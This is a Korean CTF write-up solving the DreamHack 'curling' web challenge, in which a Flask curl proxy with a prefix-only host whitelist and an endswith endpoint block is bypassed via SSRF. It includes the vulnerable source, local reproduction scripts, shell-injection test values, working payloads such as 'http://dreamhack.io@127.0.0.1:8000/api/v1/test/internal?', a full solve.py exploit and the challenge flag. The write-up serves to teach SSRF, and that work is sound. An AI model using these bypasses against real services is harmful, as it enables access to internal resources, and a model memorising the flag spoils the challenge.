[🥈 Silver 2] 검사기는 문자열을 보고 curl 은 URL 을 파싱한다 — DreamHack curling 풀이

2026-07-29·1분 읽기·

[🥈 Silver 2] 검사기는 문자열을 보고 curl 은 URL 을 파싱한다 — DreamHack curling 풀이

"simple api server" 라는 한 줄 설명이 전부인 문제. 46줄짜리 Flask 앱이 url 파라미터를 받아 curl 로 대신 요청해 주는데, 호스트 화이트리스트가 접두사 비교라서 URL 의 userinfo 를 끼워 넣으면 통과하고, 엔드포인트 차단은 문자열 끝만 봐서 물음표 하나에 무너진다. 두 구멍을 한 줄에 겹쳐 놓으면 서버가 자기 자신에게 요청을 보내고 플래그를 뱉는다.

문제: DreamHack — curling 분류: web 난이도: 🥈 Silver 2 FLAG: DH{S5Rf_1s_funNy:IGk+ne69OJvKOBX8HCnl2g==}

문제 설명은 세 단어다. "simple api server".

인스턴스를 켜고 루트로 들어가면 아무것도 없다. Flask 기본 404 만 돌아온다.

라이브 인스턴스 루트 접속 화면. 주소창에 host3.dreamhack.games 포트가 보이고 본문은 Flask 기본 404 Not Found 페이지다.
라이브 인스턴스 루트 접속 화면. 주소창에 host3.dreamhack.games 포트가 보이고 본문은 Flask 기본 404 Not Found 페이지다.

화면으로 탐색할 게 없는 문제다. 대신 배포본 소스가 통째로 들어 있다. 읽어 보면 46줄이고, 그 안에 구멍이 세 개 겹쳐 있다.


문제 개요

항목내용
문제명curling
난이도🥈 Silver 2
분류web
스택Python 3.10 · Flask · Werkzeug 3.1.8 · Debian buster
제공 파일deploy/app.py, deploy/requirements.txt, Dockerfile, flag
공격 표면POST /api/v1/test/curl 의 url 파라미터 하나
핵심 취약점접두사 비교 화이트리스트 + URL userinfo 를 이용한 SSRF

풀이 흐름은 짧다.

플래그를 주는 엔드포인트가 127.0.0.1 에서만 열린다. 서버에는 임의의 URL 을 대신 curl 로 긁어 주는 기능이 있다. 그 기능의 호스트 검사가 접두사 비교라서, 목적지를 내가 정할 수 있다.

정리하면 서버에게 "네 자신에게 요청을 보내 달라"고 시키는 문제다. 전형적인 SSRF 구도인데, 관문이 두 개라 우회도 두 겹으로 겹쳐야 한다.



🔬 코드 정찰 — 46줄이 전부다

배포본을 풀면 파일이 넷뿐이다. 어느 줄을 봐야 하는지부터 잡고 들어갔다.

find extracted -type f | sort ; grep -nE "route|ALLOWED_HOSTS|remote_addr|startswith|endswith|run\(" extracted/deploy/app.py
배포본을 푼 extracted 폴더의 파일 넷을 find 로 나열하고, 이어서 grep -nE 로 app.py 의 라우트 두 개와 ALLOWED_HOSTS·startswith·endswith·remote_addr 검사 줄을 한 번에 뽑아 낸 터미널 화면
배포본을 푼 extracted 폴더의 파일 넷을 find 로 나열하고, 이어서 grep -nE 로 app.py 의 라우트 두 개와 ALLOWED_HOSTS·startswith·endswith·remote_addr 검사 줄을 한 번에 뽑아 낸 터미널 화면

라우트는 둘, 검사는 둘이다. 전문은 이렇다.

from flask import Flask, request
from os import urandom
from subprocess import run, TimeoutExpired
 
app = Flask(__name__)
app.secret_key = urandom(32)
 
try:
    FLAG = open("/flag", "r").read().strip()
except:
    FLAG = "[**FLAG**]"
 
ALLOWED_HOSTS = ['dreamhack.io', 'tools.dreamhack.io']
 
@app.route("/api/v1/test/curl", methods=["POST"])
def admin():
    url = request.form["url"].strip()
    for host in ALLOWED_HOSTS:
        if url.startswith('http://' + host):
            break
 
        return {'result': False, 'msg': 'Not Allowed host'}
 
    if url.endswith('/test/internal'):
        return {'result': False, 'msg': 'Not Allowed endpoint'}
 
    try:
        response = run(
            ["curl", f"{url}"], capture_output=True, text=True, timeout=1
        )
        return {'result': True, 'msg': response.stdout}
 
    except TimeoutExpired:
        return {'result': False, 'msg': 'Timeout'}
 
 
@app.route('/api/v1/test/internal', methods=["GET"])
def test():
    ip = request.remote_addr
    if not ip == '127.0.0.1':
        return {'result': False, 'msg': 'Only local access is allowed'}
    return {'result': True, 'msg': FLAG}
 
 
if __name__ == '__main__':
    app.run(host='0.0.0.0', port='8000')

목표는 명확하다. /api/v1/test/internal 이 플래그를 준다. 다만 request.remote_addr 가 127.0.0.1 이어야 한다.

밖에서 그냥 열어 보면 당연히 거절당한다.

브라우저로 /api/v1/test/internal 에 직접 접근한 화면. Only local access is allowed 라는 JSON 응답이 떴다.
브라우저로 /api/v1/test/internal 에 직접 접근한 화면. Only local access is allowed 라는 JSON 응답이 떴다.

그러니까 필요한 건 "서버 안에서 나온 요청"이다. 그리고 서버 안에서 요청을 만들어 주는 기능이 바로 옆에 있다. curl 을 대신 실행해 주는 라우트다.

여기서 하나 먼저 접어 둘 게 있다. run(["curl", f"{url}"], ...) 는 리스트 인자다. 셸을 거치지 않으니 ;나 $(...) 같은 걸 넣어도 그냥 URL 문자열의 일부가 된다. 명령 주입 쪽은 길이 아니다. 뒤에서 실제 응답으로 확인한다.


💣 관문 ① — for 루프 안에 들어간 return

호스트 검사가 이렇게 생겼다.

for host in ALLOWED_HOSTS:
    if url.startswith('http://' + host):
        break
 
    return {'result': False, 'msg': 'Not Allowed host'}

들여쓰기를 다시 본다. return 이 for 블록 안에 있다.

첫 번째 원소로 루프가 한 번 돌면, 접두사가 맞으면 break, 안 맞으면 return 이다. 어느 쪽이든 루프는 첫 바퀴에서 끝난다. 두 번째 원소 tools.dreamhack.io 는 영원히 검사되지 않는다.

화이트리스트에 두 개를 적어 놨지만 실제로 동작하는 규칙은 하나뿐이라는 뜻이다.

url.startswith('http://dreamhack.io')

말로만 하면 미덥지 않으니 그 루프만 떼어 와서 돌려 봤다.

# tools_loop_demo.py
ALLOWED_HOSTS = ['dreamhack.io', 'tools.dreamhack.io']
 
 
def check(url: str) -> bool:
    """app.py 의 for 루프 그대로. True = 통과, False = 'Not Allowed host'."""
    for host in ALLOWED_HOSTS:
        if url.startswith('http://' + host):
            break
 
        return False        # ← 이 return 이 루프 '안'에 있다
    return True
 
 
CASES = [
    'http://dreamhack.io/',
    'http://tools.dreamhack.io/',                       # 화이트리스트 2번째인데?
    'http://dreamhack.io.attacker.test/',
    'http://dreamhack.io@127.0.0.1:8000/',
    'http://127.0.0.1:8000/',
]
 
print(f"ALLOWED_HOSTS = {ALLOWED_HOSTS}")
print(f"루프가 실제로 검사하는 원소 개수: {1}  (첫 원소에서 무조건 return/break)")
print()
for url in CASES:
    print(f"  {'통과' if check(url) else '차단'}  {url}")

check() 안쪽은 app.py 15~22행을 한 글자도 바꾸지 않고 옮긴 것이다. 바깥의 출력 라벨은 확인용으로 내가 붙였다.

tools_loop_demo.py 실행 결과. 화이트리스트 2번째 호스트인 tools.dreamhack.io 가 차단으로 나오고, dreamhack.io 로 시작하기만 하면 전혀 다른 목적지도 통과로 나온다.
tools_loop_demo.py 실행 결과. 화이트리스트 2번째 호스트인 tools.dreamhack.io 가 차단으로 나오고, dreamhack.io 로 시작하기만 하면 전혀 다른 목적지도 통과로 나온다.

세 번째 줄이 눈에 걸린다. http://dreamhack.io.attacker.test/ 가 통과다. 접두사만 보니까 그 뒤에 뭘 붙이든 상관이 없다.

그리고 네 번째 줄. http://dreamhack.io@127.0.0.1:8000/ 도 통과다. 이게 이 문제의 열쇠인데, 왜 이게 127.0.0.1 로 가는지는 관문 ② 를 지나고 나서 정리한다.


🧪 로컬 재현 환경부터 만든다

라이브 인스턴스는 VM 크레딧을 먹고, 시간제한도 있다. 소스가 통째로 있으니 로컬에서 다 끝내 놓고 마지막에만 붙는 쪽이 낫다.

그런데 배포된 Dockerfile 을 그대로 빌드하면 실패한다.

E: The repository 'http://deb.debian.org/debian buster-updates Release' does not have a Release file.

python:3.10-slim-buster 기반인데 buster 가 EOL 돼서 deb.debian.org 에서 인덱스가 내려갔다. 출제 당시 빌드된 서버 이미지는 멀쩡히 돌지만, 지금 내 손에서 다시 빌드하려면 저장소를 갈아끼워야 한다.

# Dockerfile.local — 배포본과 동일하되 apt 저장소만 archive 로
FROM python:3.10-slim-buster
 
ENV USER=dreamhack
ENV PORT=8000
RUN adduser --disabled-password $USER -u 1337
 
RUN printf '%s\n' \
      'deb [check-valid-until=no] http://archive.debian.org/debian buster main' \
      'deb [check-valid-until=no] http://archive.debian.org/debian-security buster/updates main' \
      > /etc/apt/sources.list \
 && apt-get -o Acquire::AllowInsecureRepositories=true \
            -o Acquire::AllowDowngradeToInsecureRepositories=true update -y \
 && apt-get -o APT::Get::AllowUnauthenticated=true install -y curl
 
WORKDIR /app
COPY ./extracted/deploy .
COPY ./extracted/flag /
 
RUN pip install -r requirements.txt
 
EXPOSE $PORT
 
CMD ["python3","app.py"]

원본에 있던 build-essential wget unzip 은 뺐다. 이 문제에서 실제로 쓰이는 건 curl 하나다. 컨테이너 안 8000 번을 호스트 18000 번으로 빼서 띄운다.

#!/usr/bin/env bash
# run_local.sh — 로컬 재현 환경 기동
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
docker build -q -f Dockerfile.local -t curling-local .
docker rm -f curling-local >/dev/null 2>&1 || true
docker run -d --name curling-local -p 18000:8000 curling-local >/dev/null
sleep 2
 
docker ps --filter name=curling-local --format '{{.Names}}  {{.Status}}  {{.Ports}}'
echo    "동봉된 로컬 flag : $(cat extracted/flag)"
echo -n '허용 호스트 통과 : '
curl -s -m 5 -X POST http://127.0.0.1:18000/api/v1/test/curl \
     -d 'url=http://dreamhack.io/' | cut -c1-72
run_local.sh 실행 화면. 컨테이너가 18000 포트로 올라오고, 배포본에 동봉된 로컬 flag 값과 허용 호스트 요청의 응답이 함께 찍혔다.
run_local.sh 실행 화면. 컨테이너가 18000 포트로 올라오고, 배포본에 동봉된 로컬 flag 값과 허용 호스트 요청의 응답이 함께 찍혔다.

배포본에 들어 있는 flag 파일 내용은 DH{fake_flag} 다. 진짜 플래그는 문제 서버 컨테이너 안 /flag 에만 있다. 그러니 로컬에서 확인할 수 있는 건 "체인이 동작하는가"까지고, 값 자체는 마지막에 라이브에서 받아야 한다.

허용 호스트로 요청하면 dreamhack.io 의 301 응답이 그대로 돌아온다. 서버가 정말 내 대신 나가서 긁어 온다는 뜻이다. 여기까지가 정상 동작이다.


🧰 찔러 보기 — POST 전용이라 폼을 하나 만들었다

/api/v1/test/curl 은 POST 만 받는다. 브라우저 주소창으로는 못 건드린다. curl 로만 해도 되지만, 응답을 눈으로 보면서 파라미터를 바꿔 보고 싶어서 폼 페이지를 하나 만들었다.

<!-- poc.html — 발췌. action 은 ?target= 로 넘긴 값으로 스크립트가 채운다 -->
<form id="f" method="POST" action="">
  <label for="url">url</label>
  <input id="url" name="url" value="" autocomplete="off">
  <button type="submit">send</button>
</form>
 
<script>
  const target = new URLSearchParams(location.search).get("target");
  if (target) document.getElementById("f").action = target.replace(/\/$/, "") + "/api/v1/test/curl";
</script>

폼 전송은 CORS 제약을 받지 않으니 file:// 로 열어 둔 페이지에서 바로 쏠 수 있다.

로컬에 만든 poc.html 폼 화면. url 입력칸에 http://127.0.0.1:8000/api/v1/test/internal 이 채워져 있고 주소창에 file:// 경로가 보인다.
로컬에 만든 poc.html 폼 화면. url 입력칸에 http://127.0.0.1:8000/api/v1/test/internal 이 채워져 있고 주소창에 file:// 경로가 보인다.

먼저 아무 우회 없이 내부 주소를 그대로 넣어 본다.

위 폼을 전송한 결과. Not Allowed host 라는 JSON 이 돌아왔고 주소창은 문제 서버의 /api/v1/test/curl 이다.
위 폼을 전송한 결과. Not Allowed host 라는 JSON 이 돌아왔고 주소창은 문제 서버의 /api/v1/test/curl 이다.

Not Allowed host. 예상대로 관문 ① 에서 막힌다. http://dreamhack.io 로 시작해야 하는데, 그러면서 목적지는 127.0.0.1 이어야 한다. 이 두 조건은 얼핏 모순처럼 보인다. 모순이 아니게 만들어 주는 게 URL 문법이다.



🧩 배경 — URL 에는 호스트 앞에 사용자 이름을 적는 자리가 있다

RFC 3986 의 authority 는 이렇게 생겼다.

authority = [ userinfo "@" ] host [ ":" port ]

@ 앞은 userinfo, 뒤가 실제 host 다. http://user:pass@example.com/ 이 우리가 가끔 보는 그 형태다.

그래서 이런 URL 은,

http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal

문자열로 읽으면 http://dreamhack.io 로 시작한다. URL 로 파싱하면 host 는 127.0.0.1, 사용자 이름이 dreamhack.io 다.

startswith 는 앞의 해석을 하고, curl 은 뒤의 해석을 한다. 같은 문자열을 두 주체가 다르게 읽는 것 — 이 문제의 전부가 여기 있다.

말보다 curl -v 가 빠르다. 내 PC 셸이 아니라 컨테이너 안에서 확인했다. 배포 Dockerfile 과 같은 베이스 이미지로 만든 것이라 curl 버전도 문제 서버 쪽과 같은 계열이다.

docker exec curling-local sh -c "curl --version 2>&1 | sed -n '1p'; curl -sv 'http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal?' -o /dev/null"
로컬 재현 컨테이너 안에서 curl -v 를 돌린 화면. curl 7.64.0 이 dreamhack.io 를 Basic 인증 사용자명으로 읽고, 실제 연결은 127.0.0.1 포트 8000 으로 맺으며 Host 헤더도 127.0.0.1:8000 으로 나간다.
로컬 재현 컨테이너 안에서 curl -v 를 돌린 화면. curl 7.64.0 이 dreamhack.io 를 Basic 인증 사용자명으로 읽고, 실제 연결은 127.0.0.1 포트 8000 으로 맺으며 Host 헤더도 127.0.0.1:8000 으로 나간다.

읽을 줄은 셋이다.

출력 줄뜻
Connected to 127.0.0.1 (127.0.0.1) port 8000실제 목적지는 루프백이다
Server auth using Basic with user 'dreamhack.io'화이트리스트에 적힌 호스트명은 그냥 사용자 이름 취급
Host: 127.0.0.1:8000서버가 받는 Host 헤더도 루프백

dreamhack.io 로는 DNS 조회조차 하지 않는다. 검사기 입장에서만 호스트일 뿐, curl 에게는 인증 정보다.


🚧 관문 ② — 문자열 끝만 보는 차단

관문 ① 을 통과한 URL 을 그대로 넣으면 이번엔 다른 메시지가 나온다.

userinfo 우회만 적용한 payload 를 전송한 결과. Not Allowed endpoint 라는 JSON 이 돌아왔다.
userinfo 우회만 적용한 payload 를 전송한 결과. Not Allowed endpoint 라는 JSON 이 돌아왔다.

두 번째 검사에 걸렸다.

if url.endswith('/test/internal'):
    return {'result': False, 'msg': 'Not Allowed endpoint'}

이것도 URL 을 파싱하지 않는다. 내가 보낸 문자열의 마지막 14글자만 본다.

그러면 조건은 하나로 정리된다. curl 이 보내는 요청의 경로는 /api/v1/test/internal 로 유지하면서, 내가 폼에 적는 문자열은 /test/internal 로 끝나지 않게 만들면 된다.

문자열의 끝과 요청의 경로가 어긋나는 지점을 찾는 문제가 됐다.


🧱 배경 — SSRF 는 "누가 요청했는가"를 바꾸는 공격이다

잠깐 정리하고 간다. 이 문제가 왜 SSRF 인지, 그리고 왜 이 구조가 흔한지에 대해서다.

Server-Side Request Forgery 는 이름 그대로 서버가 대신 요청을 보내게 만드는 공격이다. URL 미리보기, 웹훅 등록, 이미지 프록시, 헬스체크 — 사용자가 준 주소로 서버가 나가는 기능은 어디에나 있다.

이게 왜 문제가 되냐면, 네트워크 상 위치가 곧 권한으로 쓰이는 곳이 많기 때문이다.

내부망 관리 페이지는 "어차피 밖에서 못 들어오니까" 인증이 얇다. 클라우드 메타데이터 서비스(169.254.169.254)는 인스턴스 안에서 부르면 자격증명을 준다. 데이터베이스나 캐시 서버는 사설 대역에서만 열려 있다.

공격자가 직접 그 주소로 못 가더라도, 그 안에 있는 서버가 대신 가 주면 결과는 같다. 요청의 출처가 공격자에서 서버로 바뀌는 것 — 그게 SSRF 가 파는 지점이다.

이 문제는 그 구도를 최소 단위로 줄여 놓았다. "내부"가 사설 대역도 클라우드 메타데이터도 아니고 그냥 127.0.0.1 이고, 그 안에 있는 자원이 플래그다.

ip = request.remote_addr
if not ip == '127.0.0.1':
    return {'result': False, 'msg': 'Only local access is allowed'}

이 세 줄이 "위치 = 권한" 그 자체다. 그리고 같은 프로세스 안에 임의 URL 을 대신 긁어 주는 기능이 붙어 있으니, 위치는 빌려 쓸 수 있는 것이 된다.

그래서 SSRF 문제를 만나면 보는 순서가 정해져 있다.

첫째, 서버가 대신 요청을 보내는 지점이 어디인가. 둘째, 목적지를 얼마나 내 마음대로 정할 수 있나. 셋째, 그 서버 위치에서만 열리는 자원이 무엇인가.

이 문제는 셋이 전부 한 파일 안에 있다. 46줄짜리 교보재인 셈이다.


🐛 삽질 — 먼저 아닌 길들을 지웠다

▶🕳️ 삽질 1 — 셸 메타문자부터 넣어 봤다

subprocess 로 curl 을 부른다는 걸 보고 반사적으로 명령 주입부터 찔렀다. url=http://dreamhack.io/;id 같은 것들이다.

돌아온 건 id 결과가 아니라 dreamhack.io 의 301 페이지였다.

당연하다. 호출이 이렇게 생겼다.

run(["curl", f"{url}"], capture_output=True, text=True, timeout=1)

리스트를 넘기면 shell=False 가 기본이고, execve 로 바로 실행된다. ; 도 $( ) 도 셸을 만나지 못하니 그냥 URL 문자열의 일부다.

인자 주입(-o 같은 옵션을 끼워 넣는 것)도 안 된다. URL 전체가 argv[1] 하나로 들어가고, 그마저도 http://dreamhack.io 로 시작해야 한다.

▶🕳️ 삽질 2 — 화이트리스트 2번째 호스트가 오히려 막혔다

ALLOWED_HOSTS 에 tools.dreamhack.io 가 적혀 있길래 그쪽에 오픈 리다이렉트나 프록시 기능이 있는지 찾아보려 했다.

그런데 그 호스트로 요청하면 Not Allowed host 가 돌아온다. 허용 목록에 적힌 호스트가 허용되지 않는다.

관문 ① 의 return 위치 때문이다. 루프가 첫 원소에서 끝나니 2번째 원소는 코드에 적혀만 있고 실행되지 않는다.

버그가 방어를 뚫는 데 쓰이기 전에, 먼저 정상 기능을 망가뜨리고 있었던 셈이다. 이걸 확인하고 나서야 "적힌 규칙"이 아니라 "실행되는 규칙"만 보기로 했다.

▶🕳️ 삽질 3 — 경로 뒤에 아무거나 붙이면 될 줄 알았다

endswith 를 깨려고 손에 잡히는 대로 붙여 봤는데, 절반은 안 먹었다.

# tools_deadends.py — 막힌 시도들만 모아 응답을 확인한다
CASES = [
    ("셸 메타문자 주입",      "http://dreamhack.io/;id"),
    ("셸 커맨드 치환",        "http://dreamhack.io/$(id)"),
    ("화이트리스트 2번째",    "http://tools.dreamhack.io/"),
    ("끝에 슬래시",           "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal/"),
    ("끝에 공백",             "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal "),
    ("슬래시 중복",           "http://dreamhack.io@127.0.0.1:8000/api/v1//test/internal"),
]
 
for label, url in CASES:
    try:
        msg = requests.post(BASE, data={"url": url}, timeout=10).json().get("msg", "")
    except Exception as e:                                  # noqa: BLE001
        msg = f"<{e.__class__.__name__}>"
    msg = " ".join(str(msg).split())
    print(f"  {pad(label, 22)}  {msg[:64]}")
tools_deadends.py 실행 결과. 셸 주입은 301 페이지가 돌아오고, 끝 슬래시는 Flask 404, 끝 공백과 슬래시 중복은 여전히 Not Allowed endpoint 로 막힌다.
tools_deadends.py 실행 결과. 셸 주입은 301 페이지가 돌아오고, 끝 슬래시는 Flask 404, 끝 공백과 슬래시 중복은 여전히 Not Allowed endpoint 로 막힌다.

하나씩 이유가 다르다.

끝에 슬래시 — 검사는 통과한다. 그런데 Flask 가 404 를 낸다. @app.route('/api/v1/test/internal') 처럼 슬래시 없이 등록된 규칙은 슬래시가 붙은 경로를 같은 것으로 쳐 주지 않는다. 검사를 지나고 라우팅에서 죽었다.

끝에 공백 — 애초에 서버가 먼저 지운다. 첫 줄이 request.form["url"].strip() 이다. 공백을 붙여 봤자 endswith 검사 시점엔 이미 없다.

슬래시 중복 — /api/v1//test/internal 은 여전히 /test/internal 로 끝난다. 앞쪽을 건드려 봐야 검사는 뒤만 본다.

여기서 방향이 잡혔다. 필요한 건 "경로 뒤에 뭔가 붙이기"가 아니라 요청 경로는 그대로 두면서 문자열 끝만 다르게 만드는 문법이다.


💣 핵심 — 문자열 검사와 URL 파서 사이의 틈

두 관문 모두 url 을 문자열로만 다룬다. 앞 20글자와 뒤 14글자를 볼 뿐이다. 반면 실제 요청을 만드는 curl 은 그 문자열을 URL 로 파싱한다.

그 사이에 낄 수 있는 문법이 세 가지 있었다.

공격 흐름도. 하나의 url 파라미터가 접두사 검사와 endswith 검사를 함께 통과한 뒤, curl 이 userinfo 를 사용자명으로 떼어내고 127.0.0.1 로 접속해 remote_addr 검사까지 넘어 플래그를 받아 온다.
공격 흐름도. 하나의 url 파라미터가 접두사 검사와 endswith 검사를 함께 통과한 뒤, curl 이 userinfo 를 사용자명으로 떼어내고 127.0.0.1 로 접속해 remote_addr 검사까지 넘어 플래그를 받아 온다.
붙이는 것검사기가 보는 문자열 끝서버가 라우팅하는 경로통과 이유
?...internal?/api/v1/test/internal? 뒤는 쿼리스트링이라 경로에서 분리된다
#...internal#/api/v1/test/internal프래그먼트는 서버로 전송되지 않는다
%6C...interna%6C/api/v1/test/internalcurl 은 그대로 보내고 Werkzeug 가 디코딩한다
/./...test/./internal/api/v1/test/internalcurl 이 상대 경로 세그먼트를 정규화한다

네 가지가 다 통하는데 이유는 전부 다르다. 어디서 경로가 정규화되는지가 각각 다르기 때문이다.

# 은 curl 이 아예 잘라 버린다. 프래그먼트는 클라이언트가 쓰는 정보라 원래 전송 대상이 아니다. /./ 도 curl 이 보내기 전에 정리한다. 상대 경로 세그먼트를 지우는 건 RFC 3986 의 정규화 절차다.

%6C 은 성격이 다르다. curl 은 이미 인코딩된 경로를 다시 건드리지 않고 그대로 실어 보낸다. 그래서 요청줄에 /api/v1/test/interna%6C 이 그대로 나간다. 푸는 건 받는 쪽이다. Werkzeug 가 PATH_INFO 를 만들면서 퍼센트 인코딩을 디코딩하고, 그 결과인 /api/v1/test/internal 로 라우팅한다.

? 는 아무도 손대지 않는다 — 그냥 HTTP 요청줄에서 경로와 쿼리를 가르는 구분자일 뿐이다.

네 경우 모두 "경로를 누가 어느 시점에 정규화하느냐"가 다르다. curl 이 보내기 전에 하기도 하고, 서버가 받은 뒤에 하기도 한다. 검사는 그 전에 끝나 있으니 어느 쪽이든 검사기는 최종 경로를 본 적이 없다.

여기서 한 가지 확인할 게 있었다. 내 작업 PC 의 curl 8.14.1 은 빈 쿼리스트링(? 만 있고 뒤가 없는 경우)을 요청줄에서 아예 빼고 보낸다. 그런데 python:3.10-slim-buster 에 딸려 오는 curl 은 7.64.0 이라 ? 를 그대로 실어 보낸다.

앞의 curl -v 캡쳐를 내 셸이 아니라 컨테이너 안에서 찍은 것도 그래서다. GET /api/v1/test/internal? HTTP/1.1 로 나가는데도 우회가 성립한다. 서버가 ? 를 만나면 그 앞까지를 경로로 잘라 라우팅하기 때문이다.

즉 이 우회는 curl 버전에 기대지 않는다. 확인해 두지 않았으면 "내 환경에서만 되는 것"을 원리로 착각할 뻔했다.

마지막 관문은 자동으로 풀린다. curl 이 127.0.0.1:8000 으로 TCP 연결을 맺으니, Flask 가 보는 request.remote_addr 는 127.0.0.1 이다. /api/v1/test/internal 은 그걸 로컬 접근으로 인정하고 플래그를 준다.

서버 로그로 확인 — 요청이 정말 둘로 갈라진다

remote_addr 이야기는 추론으로 끝내면 찝찝하다. 로컬 컨테이너의 개발 서버 로그를 그대로 봤다.

docker logs curling-local 2>&1 | grep -E 'GET|POST'
로컬 컨테이너의 Flask 개발 서버 로그. 안쪽 GET /api/v1/test/internal 은 127.0.0.1 에서, 바깥 POST /api/v1/test/curl 은 172.17.0.1 에서 온 것으로 각각 기록돼 있다.
로컬 컨테이너의 Flask 개발 서버 로그. 안쪽 GET /api/v1/test/internal 은 127.0.0.1 에서, 바깥 POST /api/v1/test/curl 은 172.17.0.1 에서 온 것으로 각각 기록돼 있다.

두 줄이 찍힌다.

127.0.0.1  - - "GET /api/v1/test/internal HTTP/1.1" 200 -
172.17.0.1 - - "POST /api/v1/test/curl HTTP/1.1" 200 -

아래가 내가 보낸 요청이다. 도커 브리지 게이트웨이인 172.17.0.1 로 잡혔다. 그 IP 로는 /api/v1/test/internal 을 열 수 없다.

위가 curl 이 만들어 낸 요청이고, 소스가 127.0.0.1 이다. 같은 프로세스가 자기 포트로 접속했으니 커널이 루프백으로 붙여 준 것이다.

순서가 뒤집혀 보이는 것도 이유가 있다. curl 이 끝나야 바깥 요청이 응답을 반환하므로, 안쪽 요청이 먼저 완료되고 먼저 로그에 남는다.


🎯 우회 확인 — 로컬에서 먼저 전부 돌려 봤다

라이브에 붙기 전에 후보를 한 번에 던져 어느 관문에서 막히는지 표로 봤다.

# tools_matrix.py
CASES = [
    ("평범하게 내부로",            "http://127.0.0.1:8000/api/v1/test/internal"),
    ("localhost 로",               "http://localhost:8000/api/v1/test/internal"),
    ("화이트리스트 2번째 호스트",  "http://tools.dreamhack.io/"),
    ("userinfo 우회만",            "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal"),
    ("userinfo + 빈 쿼리 ?",       "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal?"),
    ("userinfo + 빈 프래그먼트 #", "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal#"),
    ("userinfo + %6C 인코딩",      "http://dreamhack.io@127.0.0.1:8000/api/v1/test/interna%6C"),
]
 
for label, url in CASES:
    try:
        msg = requests.post(BASE, data={"url": url}, timeout=10).json().get("msg", "")
    except Exception as e:                                  # noqa: BLE001
        msg = f"<{e.__class__.__name__}>"
    msg = " ".join(str(msg).split())
    verdict = "FLAG" if "DH{" in msg else "차단"
    print(f"  {verdict:4}  {pad(label, 30)}  {msg[:52]}")
tools_matrix.py 를 로컬 컨테이너에 돌린 결과. 앞의 네 줄은 Not Allowed host 또는 Not Allowed endpoint 로 막히고, 우회 3종은 모두 로컬 flag 를 반환한다.
tools_matrix.py 를 로컬 컨테이너에 돌린 결과. 앞의 네 줄은 Not Allowed host 또는 Not Allowed endpoint 로 막히고, 우회 3종은 모두 로컬 flag 를 반환한다.

위 네 줄이 막히고 아래 세 줄이 뚫린다. 막힌 이유도 두 종류로 갈린다 — 앞 셋은 관문 ①, 네 번째는 관문 ② 다.

한 관문씩 확실히 넘겼는지 확인하고 넘어갈 수 있다는 게 이 표의 쓸모다. 여기까지 되면 라이브에서 할 일은 payload 하나 보내는 것뿐이다.

폼으로도 같은 걸 확인했다.

우회 payload 를 폼으로 전송한 결과. msg 안에 중첩된 JSON 으로 진짜 플래그 문자열이 그대로 들어 있다.
우회 payload 를 폼으로 전송한 결과. msg 안에 중첩된 JSON 으로 진짜 플래그 문자열이 그대로 들어 있다.

응답이 두 겹으로 감싸여 있다. 바깥은 /api/v1/test/curl 이 돌려준 것이고, 안쪽 이스케이프된 JSON 이 curl 이 받아 온 내부 응답이다. curl 의 stdout 이 그대로 msg 에 실려 나오니, 서버가 자기 자신에게 물어본 결과를 우리가 읽는 구조다.



🚀 Full Exploit

실제로 플래그를 뽑은 스크립트 전문이다. 우회 방식 세 가지를 --variant 로 골라 쓸 수 있게 해 뒀다.

#!/usr/bin/env python3
"""curling (DreamHack Silver 2, web) — SSRF exploit.
 
취약점 세 겹을 한 줄짜리 URL 하나로 통과한다.
 
  1) ALLOWED_HOSTS 루프의 return 위치가 잘못돼 실질 검사가
     url.startswith('http://dreamhack.io') 접두사 매칭 하나뿐이다.
  2) 접두사 매칭이라 URL userinfo 를 쓰면 검사를 통과하면서 실제 목적지는
     내 마음대로 잡을 수 있다 — http://dreamhack.io@127.0.0.1:8000/...
     ('dreamhack.io' 는 curl 에게 user 이름일 뿐, 호스트는 127.0.0.1)
  3) 마지막 관문 url.endswith('/test/internal') 은 뒤에 한 글자만 붙이면 깨진다.
     빈 쿼리스트링 '?' · 빈 프래그먼트 '#' · 경로 %6C 인코딩 셋 다 통한다.
 
사용법 (기본값이 실패값이다 — 대상 URL 을 반드시 인자로 준다):
 
    python3 solve.py http://host1.dreamhack.games:12345
    python3 solve.py http://127.0.0.1:18000 --variant frag
"""
import argparse
import re
import sys
 
import requests
 
# 문제 서버 컨테이너 안에서 Flask 가 듣고 있는 주소. app.run(host='0.0.0.0', port='8000')
INTERNAL = "127.0.0.1:8000"
PATH = "/api/v1/test/internal"
 
VARIANTS = {
    # 빈 쿼리스트링: endswith('/test/internal') 는 깨지고 werkzeug 라우팅은 그대로 매칭
    "query": f"http://dreamhack.io@{INTERNAL}{PATH}?",
    # 빈 프래그먼트: curl 이 '#' 뒤를 잘라내고 보내므로 서버가 받는 경로는 원본 그대로
    "frag": f"http://dreamhack.io@{INTERNAL}{PATH}#",
    # 경로 퍼센트 인코딩: curl 은 경로를 그대로 전달, werkzeug 가 %6C -> 'l' 로 디코딩
    "enc": f"http://dreamhack.io@{INTERNAL}{PATH[:-1]}%6C",
}
 
 
def exploit(base: str, variant: str, timeout: int = 10) -> str:
    url = VARIANTS[variant]
    print(f"[*] target   : {base}")
    print(f"[*] variant  : {variant}")
    print(f"[*] SSRF url : {url}")
 
    r = requests.post(
        base.rstrip("/") + "/api/v1/test/curl",
        data={"url": url},
        timeout=timeout,
    )
    print(f"[*] status   : {r.status_code}")
    body = r.text
    print(f"[*] response : {body.strip()[:300]}")
 
    m = re.search(r"DH\{[^}]+\}", body)
    if not m:
        print("[!] flag 없음 — 응답을 확인할 것", file=sys.stderr)
        sys.exit(1)
    return m.group(0)
 
 
def main() -> None:
    ap = argparse.ArgumentParser()
    ap.add_argument("base", help="예: http://host1.dreamhack.games:12345")
    ap.add_argument("--variant", choices=sorted(VARIANTS), default="query")
    args = ap.parse_args()
 
    flag = exploit(args.base, args.variant)
    print()
    print(f"[+] FLAG: {flag}")
 
 
if __name__ == "__main__":
    main()

라이브 인스턴스 주소를 인자로 주면 끝난다.

solve.py 를 라이브 인스턴스에 실행한 결과. SSRF url 과 응답, 그리고 추출된 플래그가 마지막 줄에 찍혔다.
solve.py 를 라이브 인스턴스에 실행한 결과. SSRF url 과 응답, 그리고 추출된 플래그가 마지막 줄에 찍혔다.
